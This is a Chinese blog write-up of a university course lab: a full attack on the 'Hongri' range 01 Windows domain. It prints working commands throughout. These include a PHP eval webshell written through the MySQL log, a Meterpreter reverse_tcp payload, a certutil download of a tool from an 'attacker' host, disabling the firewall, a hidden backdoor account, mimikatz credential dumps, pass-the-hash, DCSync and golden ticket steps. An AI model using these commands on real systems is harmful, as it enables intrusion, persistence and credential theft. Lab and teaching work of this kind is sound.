内网渗透实战之红日靶场01(某大学魔改的红日靶场01期末大作业)

渗透思路

 一.渗透过程

1.1.明确实验环境 

设备名称角色外网IP内网IP网络模式备注
Kali Linux攻击机192.168.41.132NAT模式(模拟外网)通过eth0接口连接外网,子网掩码255.255.255.0
Win7 Web服务器边界服务器(双网卡)待探测(*.41.0/24)未知仅主机模式(内网)外网接口通过防火墙连接Kali,内网接口与域控同网段
Win2008 Server域控制器未知仅主机模式(内网)完全位于内网环境,通过第二层防火墙隔离
防火墙1网络隔离位于Kali与Win7之间分隔外网与边界服务器
防火墙2网络隔离位于Win7与域控之间分隔边界服务器与内网核心区域

 1.2.外网信息收集

 1.2.1.nmap主机探活

nmap -sn 192.168.41.0/24    

  • -sn:只执行“Ping扫描”(以前叫做“Ping sweep”),不进行端口扫描,用于检测网络中的存活主机。

  • 192.168.41.0/24:目标网段,表示从 192.168.41.0 到 192.168.41.255的全部IP地址。

 192.168.41.130最可能是win7web服务器的网外ip

一般来说下x.x.x.0 x.x.x.1 x.x.x.2   x.x.x.254 x.x.x.255 

不做服务器考虑一般都是网关,DHCP服务器,ARP广播地址,标识网段等用处

  1.2.2.nmap端口扫描

nmap -sS -p 1-65535  192.168.41.130   

  • sS:使用SYN扫描(也叫半开扫描),是一种快且隐蔽的端口扫描方式。

  • -p 1-65535:指定扫描的端口范围,从第1个端口到第65535个端口(即所有可能的端口)。

  • 192.168.41.130:目标IP地址,指只扫描该主机。

端口/服务​​利用方式​​经典漏洞​​工具/命令示例​​关键说明​
​80/tcp (HTTP)​1. Web目录爆破
2. 默认页面漏洞检查
3. CMS框架漏洞利用(如Apache/IIS)
4. 文件上传漏洞探测
-gobuster dir -u http://192.168.41.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt重点关注/admin/uploads等敏感路径;检查phpinfo()信息泄露。
​8080/tcp (HTTP代理)​1. 代理服务绕过防火墙
2. 内网穿透(如SSH隧道)
3. Web漏洞复现(同80端口)
-proxychains nmap -sT 192.168.41.128
curl -x http://192.168.41.128:8080 http://internal.target
验证代理是否支持CONNECT方法,用于穿透内网。
​135/tcp (MSRPC)​1. MSRPC漏洞提权
2. 系统版本信息枚举
​MS08-067​
(Windows Server服务漏洞)
msfconsole → use exploit/windows/smb/ms08_067_netapi → 设置目标IP并执行。若目标为Windows 7且未打补丁,可直接获取系统权限。
​3306/tcp (MySQL)​1. 弱密码/空密码爆破
2. UDF提权(需写入权限)
3. 数据泄露利用
​CVE-2012-2122​
(MySQL认证绕过漏洞)
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.41.128
sqlmap -u "http://192.168.41.128/login" --data="user=*&pass=*" --risk=3
默认账号root:空优先尝试;若存在UDF提权条件,上传恶意DLL执行系统命令。
​通用提权操作​1. 上传并执行提权工具(如JuicyPotato、PrintSpoofer)
2. 服务配置滥用(如AlwaysInstallElevated)
​JuicyPotato​
(Windows令牌权限滥用)
上传提权工具:
certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\Windows\Temp\jp.exe
执行:jp.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *
需结合当前权限(如SeImpersonatePrivilege)选择提权方式。
经典漏洞名称​​影响端口/服务​​利用条件​​修复建议​
​MS08-067​135/tcp (MSRPC)Windows XP/2003/7未安装KB958644补丁更新系统补丁;关闭135端口或限制访问。
​CVE-2012-2122​3306/tcp (MySQL)MySQL 5.1.x/5.5.x/5.6.x版本升级MySQL至最新版本;启用强密码策略。
​JuicyPotato提权​需已获取Web/数据库写权限Windows 7/Server 2008+,且当前用户具有SeImpersonatePrivilege权限限制用户权限;禁用不必要的服务账户特权。

 

 1.3.外网漏洞探测和利用

1.3.1.web服务80端口渗透

该阶段大体思路,利用win7的web服务器,去访问192.168.41.130

 phpStudy探针phpStudy集成环境(PHP+Apache+MySQL的本地测试套件)的默认信息展示页面,用于显示服务器的配置信息。

1.3.2.使用dirsearch进行目录枚举探测

dirsearch -u http://192.168.41.128 -e php,html,asp

1.3.3弱口令爆破phpmyadmin

做代理用burpsuite去爆破账号和密码

按照长度排序第一个明显不同

获得数据库的账号root 密码 admin123

 1.3.4.Mysql数据库getshell的3种姿势

其实本质上还是两种

方式​​核心原理​​依赖条件​​防御关键​
​1. INTO OUTFILE 导出木马​直接通过 SQL 语句将 PHP 代码写入 Web 目录1. 用户具备 FILE 权限
2. secure_file_priv 允许导出
3. 已知网站绝对路径(如 G:/phpStudy/WWW
限制 secure_file_priv 路径 + 禁用 FILE 权限
​2. MySQL 日志文件注入​通过修改 MySQL 日志路径指向 Web 目录,并注入 PHP 代码1. 用户具备 SUPER 权限(如 root)
2. MySQL 服务账户可写 Web 目录
3. 已知网站绝对路径
关闭非必要日志(general_log = OFF) + 隔离 MySQL 服务账户权限

 知识扩展

 

 

执行 select @@basedir; 查看一下网站的路径

路径为:C:/phpStudy/MySQL/

再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/shell.php'; 直接将木马写入到 www网站根目录下 失败

这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 配置文件,在[mysqld]内加入secure_file_priv =""。

直接写入木马不行,那我们就换另一种方法---Mysql日志文件写入shell

利用Mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell

SET GLOBAL general_log='on'
开启 general_log

SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
指定日志写入到网站根目录的 shell.php 文件

然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["muma"]);?>',即可将一句话木马写入 shell.php 文件中 访问/shell.php 成功写入

 蚁剑进行连接

 蚁剑连接 拿到shell 

  • ​命令结果​​:nt authority\local service

  • ​权限类型​​:这是 Windows 系统的​​本地服务账户​​(Local Service Account),属于系统内置的低权限账户。

 1.4.内网信息收集

ipconfig

ipconfig /all

获取到信息

  1. ​​外网接口(NAT模式)​​

    • IP: 192.168.41.128(或者30)因为我不是一天做完的,ip会变很正常

    • 网关: 192.168.41.2

    • DNS/WINS: 192.168.41.2

  2. ​​内网接口(仅主机模式)​​

    • IP: 192.168.52.143

    • DNS: 192.168.52.138(疑似域控)

    • 域信息: 主DNS后缀为god.org,确认处于域环境中。

1.5.win7跳板机权限提升和维持

权限提升阶段

本地提权路径(优先)​

​方法1:利用Windows内核漏洞​

  • ​漏洞验证​​:

  • systeminfo > C:\phpStudy\WWW\sysinfo.txt

  • ​验证​​:访问 http://192.168.41.128/sysinfo.txt 查看系统信息。

未包含KB4012212,说明存在MS17-010漏洞。

但是!当我用nmap去扫445端口的时候发现,445端口被过滤了,利用永恒之蓝去提权只能到此为止了,去寻找新的思路。

上线msf

利用MSF模块提权

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.132 LPORT=2222 -f exe -o shell.exe

设置监听器
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.41.132
set lport 2222
exploit

让win7运行shell.exe

成功连接

先使用自动提取按getsystem,失败的机率很大

getsystem

果然失败了

接着使用脚本检测可以利用的提权模块,速度可能有点慢,耐心等待

use post/multi/recon/local_exploit_suggester

set session ID()

set showdescription true

run #就会列出来这个电脑存在的提权的漏洞有哪些

扫出来16个可利用的,爽了!

随便来一个提权的

CVE-2019-1458 WizardOpium (提权到 SYSTEM)​

  • ​​漏洞类型​​:内核提权。

  • ​​适用系统​​:Windows 7/10/Server 2008-2019(特定版本)。

  • ​​操作​​:

    use exploit/windows/local/cve_2019_1458_wizardopium

  • set SESSION ID

  • run

拿到最高权限system!爽了!

权限维持阶段

先把防火墙关了,省的夜长梦多

#注册表开启3389端口 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#添加防火墙规则 netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

#关闭防火墙 n

etsh firewall set opmode disable #winsows server 2003 之前

netsh advfirewall set allprofiles state off #winsows server 2003 之后

关闭成功

你有本事接着把445端口关了

权限维持,隐藏后门

net user hacker$ P@ssw0rd /add /active:yes /passwordchg:no /expires:never /comment:"System Service" /fullname:"Windows Update"

        active:yes:确保账户处于激活状态(默认已激活,显式声明更安全)

  • passwordchg:no : ​​禁止用户自行修改密码​​(防止因密码被改丢失控制权)。

  • expires:never : ​​密码永不过期​​(避免定期密码策略导致失效)。

  • comment 和 fullname : 为账户添加​​伪装描述和全名​​(如伪装成系统服务账户降低怀疑)。

  • hacker$:用户名末尾的 $ 使账户在控制面板和普通 net user 中隐藏。

net user不会显示隐藏用户 

 1.6.内网信息再收集

 ipconfig /displaydn

去找dns缓存记录。

192.168.52.138 极有可能是域控制器(Domain Controller)

  1. ​LDAP服务定位记录(SRV记录)​

    • 记录 _ldap._tcp.Default-First-Site-Name._sites.god.org 明确指向 owa.god.org:389(端口389是LDAP服务默认端口)。

    • ​SRV记录是域控制器的核心标识​​,用于客户端定位域控制器进行身份验证和目录查询。

 先ping一下域名,发现可以通

 

 再登录win7ping一下可得,192.168.52.138百分之99是域控

因为win7获得了机器用户,所以即使不是域用户也可以向域内获取一些信息

总结一下获得的有效信息

kali ip 192.168.41.132

win7 外网ip 192.168.41.128

         内网ip 192.168.52.143

        隐藏用户 hacker$ 密码Admin@123

win2008 内网ip 192.168.52.138

               主机名owa.god.org

​类别​

​项目​

​详细信息​

​备注​

​攻击机信息​

Kali Linux IP

192.168.41.132

用于渗透测试的入口设备

​外网机器(Win7)​

外网IP

192.168.41.128

暴露在外部网络的跳板机

内网IP

192.168.52.143

同时连接内外网,可能作为横向移动跳板

隐藏用户

用户名:hacker¥
密码:Admin@123

通过SYSTEM权限创建,用于权限维持(需检查是否存在防御机制)

​内网域控服务器​

服务器IP

192.168.52.138

高度疑似域控制器(DC),关联域名 owa.god.org

关联域名

owa.god.org

可能运行Exchange服务(OWA为Outlook Web Access),需验证LDAP/Kerberos端口

​网络拓扑​

外网网段

192.168.41.0/24

攻击机与Win7外网IP同网段

内网网段

192.168.52.0/24

Win7内网IP与域控IP同网段

控制win7

利用hacker$创建的后门账号,进入win7。

上传mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1.txt

​泄露凭据​​:

  • ​用户 hacker$​:

    • 明文密码:Admin@123

    • NTLM Hash:570a9a65db8fba761c1008a51d4c95ab

  • ​计算机账户 STU1$​:

    • NTLM Hash:7f37ee67a662a43a4ebfdbd72378f100

上面的凭据全部都用不了,想从win7横向到win2008不切实践,转换思路,把win7当作跳板机,通过win7把kali的流量带入到win2008.

1.7.内网代理

一、代理的形成过程(你的网络结构)

根据你的网络拓扑,代理的形成流程如下: 

 Kali (外网)           Win7 (跳板机)                               内网目标
192.168.41.132  →  外网IP:192.168.41.130  →  内网IP段:192.168.52.0/24
                                ( 双网卡或NAT)          如:52.143(Web服务)、52.138(Win2008)

1. ​​攻陷跳板机(Win7)​

  • 通过漏洞利用或钓鱼,你已经控制了外网的 Win7(IP:192.168.41.130),且该机器能访问内网(52.0/24)。

2. ​​在 Metasploit 中添加路由​

  • 通过 Meterpreter 会话,添加路由到内网:

  • run autoroute -s 192.168.52.0/24

  • ​作用​​:让 Metasploit 的模块(如扫描/攻击)知道如何通过 Win7 访问内网。

          run autoroute -p    #查看路由信息

3. ​​启动 SOCKS 代理服务​

  • 在 Kali 上运行 Metasploit 的 socks 代理模块:

    use auxiliary/server/socks_proxy set VERSION 4a set SRVPORT 1234 run

  • ​作用​​:在 Kali 的 1234 端口创建一个 SOCKS4a 代理,流量将通过 Win7 转发到内网。

4. ​​配置 Proxychains​

  • 修改 /etc/proxychains4.conf,添加:

    socks4 127.0.0.1 1234

  • ​作用​​:让 Kali 上的其他工具(如 curl、nmap)通过代理访问内网。


二、代理完成后能做什么?

1. ​​访问内网 Web 服务​

  • 你已成功通过代理访问 192.168.52.143 的 HTTP 服务(phpStudy 探针):

    proxychains curl http://192.168.52.143

  • ​用途​​:可进一步测试 Web 漏洞(如 SQL 注入、文件上传)。

2. ​​扫描内网主机​

  • 使用 Nmap 扫描内网其他主机(如 Win2008 的 192.168.52.138):

    proxychains nmap -sT -Pn 192.168.52.138

  • ​用途​​:发现开放的端口(如 445/SMB、3389/RDP),寻找攻击入口。

3. ​​横向移动攻击​

  • ​攻击 Win2008 服务器​​:
    若发现 445 端口开放,可使用 Metasploit 的 exploit/windows/smb/psexec 模块,通过 Win7 跳板攻击内网 Win2008。

  • ​命令示例​​:

    set RHOSTS 192.168.52.138 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit

4. ​​访问内部数据库或服务​

  • 如果内网有数据库(如 MySQL 在 52.143:3306),可通过代理连接:

    proxychains mysql -h 192.168.52.143 -u root -p

5. ​​图形化工具代理支持​

  • ​浏览器访问内网 Web​​:
    配置 Firefox 使用 SOCKS 代理(127.0.0.1:1234),直接访问 http://192.168.52.143

  • ​远程桌面(RDP)​​:
    通过 proxychains 启动 rdesktop

    proxychains rdesktop 192.168.52.138


三、关键点总结

  1. ​代理链路的本质​​:
    Kali → Win7(跳板) → 内网目标,所有流量通过 SOCKS 代理隧道转发。

  2. ​权限要求​​:

    • Win7 需具有内网访问权限(如双网卡、VPN 连接)。

    • Metasploit 路由需系统权限(getsystem)。

  3. ​隐蔽性​​:

    • 代理流量可能被安全设备检测,建议加密流量(如使用 SSH 隧道替代 SOCKS)。

 全部的步骤如下 

1、msf添加代理

添加路由

run autoroute -s 192.168.52.0/24    #添加路由
run autoroute -p                    #查看路由信息

配置代理

use auxiliary/server/socks_proxy
set version 4a
set SRVPORT 1234                  #端口可以任意,只要不被占用
run

 先查看端口监听和已建立的情况

ss -tulpn

ss -tunp state established 

再进入 /etc/proxychains4.conf 更改代理配置

测试一下代理配置是否成功

proxychains curl http://192.168.52.143

 1.8.内网渗透和域内提权

域控渗透

先扫端口

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138

 使用永恒之蓝的辅助模块,直接使用使用永恒之蓝漏洞利用是不行的。

use auxiliary/admin/smb/ms17_010_command。

set COMMAND net user

set RHOST 192.168.52.138

run

还是使用这个模块,依次执行下面命令

set command net user hacker Admin@123 /add #添加用户

run

set command net localgroup administrators hacker /add #管理员权限

run

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

#开启3389端口

run

set command netsh advfirewall set allprofiles state off #关闭防火墙

run

 成功登录

用hacker Admin@123

成功登录win2008

此时是本地管理员,但是是普通的域用户,上传mimikatz抓一下密码

进入到mimikatz里面使用管理员权限打开并且输入

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit > 1.txt

可利用的凭据分析


1. ​OWA$ 服务账户​

  • ​NTLM 哈希​​:b552513cb39c22770f8071f753444209

  • ​明文密码​​:存在长字符串(可能为加密凭据或服务票据)。

  • ​归属域​​:GOD(旧域)和 GOD.ORG(当前域),可能存在 ​​跨域信任​​ 或 ​​配置错误​​。


2. ​​用户 hacker

  • ​NTLM 哈希​​:570a9a65db8fba761c1008a51d4c95ab

  • ​明文密码​​:Admin@123

  • ​归属域​​:GOD(旧域)和 GOD.ORG(当前域)。

使用哈希传递,伪造OWA$ 这个域管理员用户,并且执行打开cmd去把hacker添加到域管理里面

mimikatz "privilege::debug" "sekurlsa::pth /user:OWA$ /domain:god.org /ntlm:b552513cb39c22770f8071f753444209 /run:cmd.exe"

    ​net group 'Domain Admins' hacker /add /domain

     

     成功拿下完整的域控的权限,下班收工

     1.9.域控权限维持

    步骤1:确认能否直接登录域控


    一、当前状态分析

    将用户 hacker 提升为 ​​域管理员(Domain Admin)​​ 意味着你已获得域内最高权限,但严格来说,这并不等同于 ​​完全控制域控(Domain Controller, DC)​​。以下是关键区分点:

    1. ​权限范围​​:

      • ​域管理员​​:可管理域内所有资源(用户、组、策略等),但若未直接控制域控服务器,某些操作(如提取 krbtgt 哈希)仍需通过域控执行。

      • ​域控完全控制​​:意味着对域控服务器的 ​​操作系统级控制​​(如执行任意命令、修改系统文件、提取内存凭证等)。

    2. ​持久性差异​​:

      • 仅提升用户权限可能被域管理员撤销或密码重置。

      • 完全控制域控后,可通过黄金票据(Golden Ticket)、DCShadow 等技术实现持久化,即使密码更改仍维持权限。


    二、验证是否真正“拿下”域控

    ​步骤1:确认能否直接登录域控​

    使用hacker账户通过RDP/WinRM登录域控

    proxychains xfreerdp /v:192.168.52.143 /u:hacker /p:'Admin@123' /cert-ignore

    步骤2:提取域控敏感数据​

    在已控主机(非域控)执行DCSync(需域管理员权限)

    proxychains secretsdump.py 'god.org/hacker:Admin@123@192.168.52.138' -just-dc

    或者通过完整路径调用脚本​

    proxychains python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'god.org/hacker:Admin@123@192.168.52.138' -just-dc

     

    用户名

    RID

    LM哈希

    NTLM哈希

    用途说明

    Administrator

    500

    aad3b435b51404eeaad3b435b51404ee

    e811f0f36ab7772300809248443f9108

    域管理员账户哈希

    krbtgt

    502

    aad3b435b51404eeaad3b435b51404ee

    ​58e91a5ac358d86513ab224312314061​

    生成黄金票据(Golden Ticket) 的关键

    关键点说明:

    1. ​krbtgt 的 NTLM 哈希​​ 58e91a5ac358d86513ab224312314061 是生成黄金票据的必要条件,可用于伪造任意用户的 TGT 票据。

    2. 管理员账户 Administrator 的 NTLM 哈希 e811f0f36ab7772300809248443f9108 可用于横向移动或 Pass-The-Hash 攻击。

    3. 输出中的其他账户(如 ligang、tom、hacker)可能对应普通用户或服务账户,需进一步分析其权限。

    附:黄金票据生成示例命令(需mimikatz)

    mimikatz # kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-... /krbtgt:58e91a5ac358d86513ab224312314061 /ptt

    获取域的sid

    方法 1:通过 Kali Linux 的 Impacket 工具获取 SID​

    ​工具:lookupsid.py(需有效凭证)​

    1. ​命令格式​​:

      proxychains python3 /usr/share/doc/python3-impacket/examples/lookupsid.py <域名>/<用户名>:<密码>@<域控IP>

      • 示例(根据你的环境替换参数):

        proxychains python3 /usr/share/doc/python3-impacket/examples/lookupsid.py 'god.org/hacker:Admin@123@192.168.52.138'

      • ​注意​​:需通过 proxychains 走代理(与之前 secretsdump.py 相同配置)。

    2. ​输出示例​​:

      [*] Enumerating users via SID S-1-5-21-123456789-987654321-123456789... Name : Administrator Name : krbtgt Name : god.org\ligang ...

      • ​域 SID​​ 是用户 SID 去掉末尾的 RID(如 S-1-5-21-123456789-987654321-123456789)。

    步骤3:生成黄金票据(持久化)​

    # 使用krbtgt哈希生成票据

    proxychains ticketer.py -nthash 58e91a5ac358d86513ab224312314061 \ -domain-sid S-1-5-21-2952760202-1353902439-2381784089 \ -domain god.org Administrator

     或者通过完整路径执行命令(修正路径)​

    proxychains python3 /usr/share/doc/python3-impacket/examples/ticketer.py \ -nthash 58e91a5ac358d86513ab224312314061 \ -domain-sid S-1-5-21-2952760202-1353902439-2381784089 \ -domain god.org Administrator

    输出文件​​:生成 Administrator.ccache,后续通过 export KRB5CCNAME=Administrator.ccache 使用票据。

    失败(可能是spn的问题,但我还未找到原因)

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值